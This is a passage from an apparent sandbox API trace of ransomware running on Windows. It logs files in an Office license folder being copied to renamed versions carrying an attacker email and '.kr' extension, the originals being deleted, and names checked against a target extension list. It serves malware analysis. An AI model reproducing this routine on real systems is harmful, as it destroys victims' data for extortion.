lpOverlapped=0x0) returned 1 [0213.936] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x110, lpOverlapped=0x0) returned 1 [0213.936] SetEndOfFile (hFile=0x518) returned 1 [0213.936] CloseHandle (hObject=0x518) returned 1 [0213.936] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.936] SetEndOfFile (hFile=0x3f8) returned 1 [0214.143] CloseHandle (hObject=0x3f8) returned 1 [0214.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms")) returned 1 [0214.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.507] lstrlenW (lpString=".doc") returned 4 [0214.507] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.507] lstrlenW (lpString=".docx") returned 5 [0214.507] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.507] lstrlenW (lpString=".pdf") returned 4 [0214.507] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.507] lstrlenW (lpString=".xls") returned 4 [0214.507] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.507] lstrlenW (lpString=".xlsx") returned 5 [0214.507] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.507] lstrlenW (lpString=".ppt") returned 4 [0214.507] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.507] lstrlenW (lpString=".zip") returned 4 [0214.508] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString=".rar") returned 4 [0214.508] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString=".bz2") returned 4 [0214.508] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString=".7z") returned 3 [0214.508] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.508] lstrlenW (lpString=".dbf") returned 4 [0214.508] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.508] lstrlenW (lpString=".1cd") returned 4 [0214.508] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.508] lstrlenW (lpString=".jpg") returned 4 [0214.508] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.508] lstrlenW (lpString=".doc") returned 4 [0214.508] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString=".docx") returned 5 [0214.508] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.508] lstrlenW (lpString=".pdf") returned 4 [0214.508] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString=".xls") returned 4 [0214.508] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString=".xlsx") returned 5 [0214.508] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.508] lstrlenW (lpString=".ppt") returned 4 [0214.508] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.508] lstrlenW (lpString=".zip") returned 4 [0214.509] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.509] lstrlenW (lpString=".rar") returned 4 [0214.509] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.509] lstrlenW (lpString=".bz2") returned 4 [0214.509] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.509] lstrlenW (lpString=".7z") returned 3 [0214.509] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.509] lstrlenW (lpString=".dbf") returned 4 [0214.509] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.509] lstrlenW (lpString=".1cd") returned 4 [0214.509] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms") returned 80 [0214.509] lstrlenW (lpString=".jpg") returned 4 [0214.509] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.509] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.509] lstrlenW (lpString="ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 33 [0214.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.510] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=23077) returned 1 [0214.510] CloseHandle (hObject=0x474) returned 1 [0214.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms")) returned 0x220 [0214.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.511] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.511] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0214.512] GetLastError () returned 0x0 [0214.512] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5a25, lpOverlapped=0x0) returned 1 [0214.514] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5a30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5a30, lpOverlapped=0x0) returned 1 [0214.516] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.516] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0214.516] SetEndOfFile (hFile=0x518) returned 1 [0214.516] CloseHandle (hObject=0x518) returned 1 [0214.516] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.516] SetEndOfFile (hFile=0x474) returned 1 [0214.519] CloseHandle (hObject=0x474) returned 1 [0214.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms")) returned 1 [0214.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.520] lstrlenW (lpString=".doc") returned 4 [0214.520] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.520] lstrlenW (lpString=".docx") returned 5 [0214.520] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.520] lstrlenW (lpString=".pdf") returned 4 [0214.520] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.520] lstrlenW (lpString=".xls") returned 4 [0214.520] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.520] lstrlenW (lpString=".xlsx") returned 5 [0214.520] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.520] lstrlenW (lpString=".ppt") returned 4 [0214.520] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.520] lstrlenW (lpString=".zip") returned 4 [0214.520] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.520] lstrlenW (lpString=".rar") returned 4 [0214.520] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.520] lstrlenW (lpString=".bz2") returned 4 [0214.520] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString=".7z") returned 3 [0214.521] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.521] lstrlenW (lpString=".dbf") returned 4 [0214.521] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.521] lstrlenW (lpString=".1cd") returned 4 [0214.521] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.521] lstrlenW (lpString=".jpg") returned 4 [0214.521] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.521] lstrlenW (lpString=".doc") returned 4 [0214.521] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString=".docx") returned 5 [0214.521] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.521] lstrlenW (lpString=".pdf") returned 4 [0214.521] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString=".xls") returned 4 [0214.521] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString=".xlsx") returned 5 [0214.521] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.521] lstrlenW (lpString=".ppt") returned 4 [0214.521] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.521] lstrlenW (lpString=".zip") returned 4 [0214.521] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString=".rar") returned 4 [0214.521] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString=".bz2") returned 4 [0214.521] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.521] lstrlenW (lpString=".7z") returned 3 [0214.522] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.522] lstrlenW (lpString=".dbf") returned 4 [0214.522] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.522] lstrlenW (lpString=".1cd") returned 4 [0214.522] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms") returned 83 [0214.522] lstrlenW (lpString=".jpg") returned 4 [0214.522] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.522] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.522] lstrlenW (lpString="ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 36 [0214.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.523] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11617) returned 1 [0214.523] CloseHandle (hObject=0x474) returned 1 [0214.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0214.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.523] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.524] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0214.524] GetLastError () returned 0x0 [0214.524] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d61, lpOverlapped=0x0) returned 1 [0214.526] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0214.527] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.527] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0214.527] SetEndOfFile (hFile=0x518) returned 1 [0214.528] CloseHandle (hObject=0x518) returned 1 [0214.528] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.528] SetEndOfFile (hFile=0x474) returned 1 [0214.530] CloseHandle (hObject=0x474) returned 1 [0214.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms")) returned 1 [0214.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.532] lstrlenW (lpString=".doc") returned 4 [0214.532] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString=".docx") returned 5 [0214.532] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.532] lstrlenW (lpString=".pdf") returned 4 [0214.532] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString=".xls") returned 4 [0214.532] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString=".xlsx") returned 5 [0214.532] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.532] lstrlenW (lpString=".ppt") returned 4 [0214.532] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.532] lstrlenW (lpString=".zip") returned 4 [0214.532] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString=".rar") returned 4 [0214.532] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString=".bz2") returned 4 [0214.532] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString=".7z") returned 3 [0214.532] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.532] lstrlenW (lpString=".dbf") returned 4 [0214.532] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.532] lstrlenW (lpString=".1cd") returned 4 [0214.532] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.532] lstrlenW (lpString=".jpg") returned 4 [0214.532] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.533] lstrlenW (lpString=".doc") returned 4 [0214.533] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.533] lstrlenW (lpString=".docx") returned 5 [0214.533] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.533] lstrlenW (lpString=".pdf") returned 4 [0214.533] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.533] lstrlenW (lpString=".xls") returned 4 [0214.533] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.533] lstrlenW (lpString=".xlsx") returned 5 [0214.533] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.533] lstrlenW (lpString=".ppt") returned 4 [0214.533] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.533] lstrlenW (lpString=".zip") returned 4 [0214.533] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.533] lstrlenW (lpString=".rar") returned 4 [0214.533] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.533] lstrlenW (lpString=".bz2") returned 4 [0214.533] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.533] lstrlenW (lpString=".7z") returned 3 [0214.533] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.533] lstrlenW (lpString=".dbf") returned 4 [0214.533] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.533] lstrlenW (lpString=".1cd") returned 4 [0214.533] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0214.533] lstrlenW (lpString=".jpg") returned 4 [0214.533] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.534] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.534] lstrlenW (lpString="ProfessionalR_OEM_Perp-ul-phn.xrm-ms") returned 36 [0214.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.534] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19962) returned 1 [0214.534] CloseHandle (hObject=0x474) returned 1 [0214.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0214.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0214.535] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.535] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0214.760] GetLastError () returned 0x0 